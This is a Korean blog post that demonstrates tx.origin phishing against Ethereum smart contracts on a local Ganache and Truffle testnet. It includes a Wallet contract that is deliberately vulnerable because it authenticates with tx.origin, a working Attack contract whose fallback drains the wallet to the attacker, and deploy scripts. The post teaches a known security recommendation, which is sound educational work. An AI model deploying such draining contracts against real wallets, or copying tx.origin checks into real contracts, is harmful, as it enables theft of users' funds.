tx.origin을 활용한 phishing 예제

iwin1203·2022년 10월 23일
0

블록체인

목록 보기
9/11

요약

  • tx.origin의 피싱 공격 방법을 살펴보고, 직접 시연해봤다.
  • 유명한 보안 권장사항인 만큼 깊이 이해하고 구현해보고 싶었기 때문이다.
  • tx.origin과 msg.sender의 차이를 이해하고, message call과 폴백함수에 대해 좀 더 잘 알게 되었다. Ganache + Truffle 조합에 익숙해졌다.


스마트 컨트랙트 작성 시 `tx.origin` 사용을 지양하는 것은 매우 잘 알려진 보안 권장사항이다.

tx.origin vs msg.sender

tx.origin은 트랜잭션을 최초로 보낸 EOA를 의미한다.
msg.sender는 트랜잭션을 마지막으로 보낸 EOA 혹은 CA를 의미한다.

출처: https://davidkathoh.medium.com/tx-origin-vs-msg-sender-93db7f234cb9

위 그림이 아주 쉽고 적절하게 설명해준 것 같아 가져왔다. (David Kathoh님의 medium)

  • 어떤 EOA에서 컨트랙트를 곧바로 호출한다면, msg.sendertx.origin은 모두 해당 EOA 주소가 된다.

  • 어떤 EOA에서 컨트랙트 A를 호출했는데, 컨트랙트 A가 컨트랙트 B를 호출하는 경우, 컨트랙트 B 입장에서 msg.sender는 가장 마지막에 자신을 호출한 컨트랙트 A의 주소가 되고, tx.origin은 이 트랜잭션을 처음 유발한 EOA의 주소가 된다.



시나리오..

똑똑한 사람들은 이걸 보고 사기칠 생각을 했다. (나는 아님)

일반적인 tx.origin을 활용한 피싱 시나리오는 다음과 같다.

  • 선량한 EOA인 GOOD_EOA와 사기꾼 EOA인 BAD_EOA가 있다.

  • GOOD_EOA컨트랙트 A에 자산을 보유하고 있다.

  • 한편 BAD_EOAGOOD_EOA컨트랙트 A에 자산을 보유하고 있으며, 컨트랙트 Atx.origin으로 사용자를 검증한다는 것을 알아차린다.

  • BAD_EOA는 피싱 컨트랙트 컨트랙트 B를 만들고, GOOD_EOA를 낚아 컨트랙트 B를 호출하도록 유인한다.

  • 불쌍한 GOOD_EOA가 낚여 컨트랙트 B를 호출한다.

  • 컨트랙트 B는 호출과 동시에 내부적으로 GOOD_EOA의 주소를 tx.origin 값으로 갖게 된다.

  • 컨트랙트 B컨트랙트 A를 호출하면, 컨트랙트 Atx.origin 값을 보고 자신을 호출한 것이 GOOD_EOA라고 인식하고 작업을 허용한다. 이제 컨트랙트 AGOOD_EOA의 자산이 털리는 건 시간문제.



직접 돌려보자.

Ganache 시작


Contract 작성

코드는 solidity-by-example에다가 구현 편의를 위해 일부 폴백 함수를 추가했다.

위 시나리오에서 컨트랙트 A에 해당하는 코드이다. deposit하기 위해 receive() 폴백 함수를 추가했다.
핵심은 transfer 함수에서 tx.origin==owner이면 송금이 성공한다는 것.

// Wallet.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    receive() external payable {}

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner, "Not owner");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

다음으로 피싱 컨트랙트 B의 코드이다.
GOOD_EOAattack()을 호출하는 경우도 공격에 성공하고, 단순히 송금하는 경우도 폴백함수로 빠져 공격에 성공하게 되어있다.

// Attack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "./Wallet.sol";

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
    receive() external payable {
        wallet.transfer(owner, address(wallet).balance);
    }
}

truffle-config.js

  • 공격 당할 EOA: 0xDc295Ea317c3020C68A3403C53dfEEbd7eA8A1cE
  • 공격할 EOA: 0x0f4e7cfDc6bC1240f4B287324C0605ee747483d6

Ganache로 연결해주되, from을 명시하지 않으면 account[0]으로 진행된다. Wallet.solGOOD_EOA로, Attack.solBAD_EOA로 설정해주자.

// truffle-config.js

  networks: {

    development: {
      host: "127.0.0.1", // 로컬
      port: 7545, // Ganache 포트
      network_id: "*", // Any network (default: none)
      from: "0xDc295Ea317c3020C68A3403C53dfEEbd7eA8A1cE", // GOOD_EOA -> Attack.sol 배포할때는 BAD_EOA로 변경
    },


배포

우선 Wallet (컨트랙트 A)을 배포하자.

// 2_deploy.js

const Wallet = artifacts.require("./Wallet.sol");

module.exports = function (deployer) {
  deployer.deploy(Wallet);
};

다음으로 Attack(컨트랙트 B)을 배포하자. (truffle-config에서 EOA 바꾸기 잊지 말 것)
코드에, 생성자의 인자로 Wallet 객체가 들어가는데, 이러한 경우 배포된 컨트랙트의 주소를 넣어주면 된다. 위 Wallet을 배포하고 리턴된 주소를 넣어준다.

// 2_deploy.js

const Attack = artifacts.require("./Attack.sol");

module.exports = function (deployer) {
  walletAddr = "0xF3ba2D4F4ACB93780F23D7182e748239363C1A5c";
  deployer.deploy(Attack, walletAddr);
};

그럼 결과적으로 다음과 같이 세팅이 완료된다.

  • 배포된 Wallet 주소: 0xF3ba2D4F4ACB93780F23D7182e748239363C1A5c (컨트랙트 A)

  • Wallet의 owner: 0xDc295Ea317c3020C68A3403C53dfEEbd7eA8A1cE (GOOD_EOA)

  • 배포된 Attack 주소: 0xa9D0dF2c1720c2c8aE6162e73aFBDB1d8b3a6f19 (컨트랙트 B)

  • Attack의 owner: 0x0f4e7cfDc6bC1240f4B287324C0605ee747483d6 (BAD_EOA)


자금 세팅

편의를 위해 Wallet과 Attack의 호출은 모두 폴백함수로 진행하겠다.

Metamask에서 로컬의 Ganache를 추가하고, GOOD_EOA를 추가해준다.
그리고 Wallet 주소로 50eth를 보내 저금한다.

Ganache에서 확인하면 다음 두 사진처럼 50eth가 차감되어 있고, contract에 50eth가 저장되어 있는 것을 알 수 있다.


공격 방법 설명

이제 GOOD_EOA로 하여금 Attack.sol의 폴백함수를 실행시키게 할 것이다. 지금은 이렇게 직접 실행하지만, 실제로는 피싱 사이트를 비롯한 다양한 낚시 방법으로 호출을 유도했을 것이다.

receive() external payable {
        wallet.transfer(owner, address(wallet).balance);
    }

위 폴백함수는 아래 Wallet.soltranfer를 호출한다.

function transfer(address payable _to, uint _amount) public {
	require(tx.origin == owner, "Not owner");
	...
    }

ownerBAD_EOA이고 이는 transferaddress payable _to 인자로 전달된다. 금액은 지갑 내 전체 금액이다.

원래 의도대로라면 require문에서 msg.sender==owner에 실패하기 때문에 Attack에서 Wallet으로의 호출이 막히게 되지만, tx.origin은 지갑 주인인 GOOD_EOA이기 때문에 막히지 않고 진행된다.

즉, 공격 결과는 GOOD_EOA가 Wallet 내 소유한 모든 자금이 BAD_EOA에게 전송되는 것이다.


공격!

Attack의 폴백함수를 실행시키기 위해 다시 Metamask에서 아주 적은 금액을 Attack으로 송금해보겠다.

트랜잭션이 성공하여 Attack에 contract call이 날아갔다. 동시에 아래와 같이 Wallet내 자금은 비게 된다. 아까 분명히 50eth를 저금해놨었는데 감쪽같이 사라졌다.

그리고 그만큼의 금액은 아래와 같이 BAD_EOA 에게 꽂혀있다.



레퍼런스

https://solidity-by-example.org/hacks/phishing-with-tx-origin/
솔리디티 공식 문서
Ganache, Truffle 공식 문서
https://davidkathoh.medium.com/tx-origin-vs-msg-sender-93db7f234cb9 (사진출처)

0개의 댓글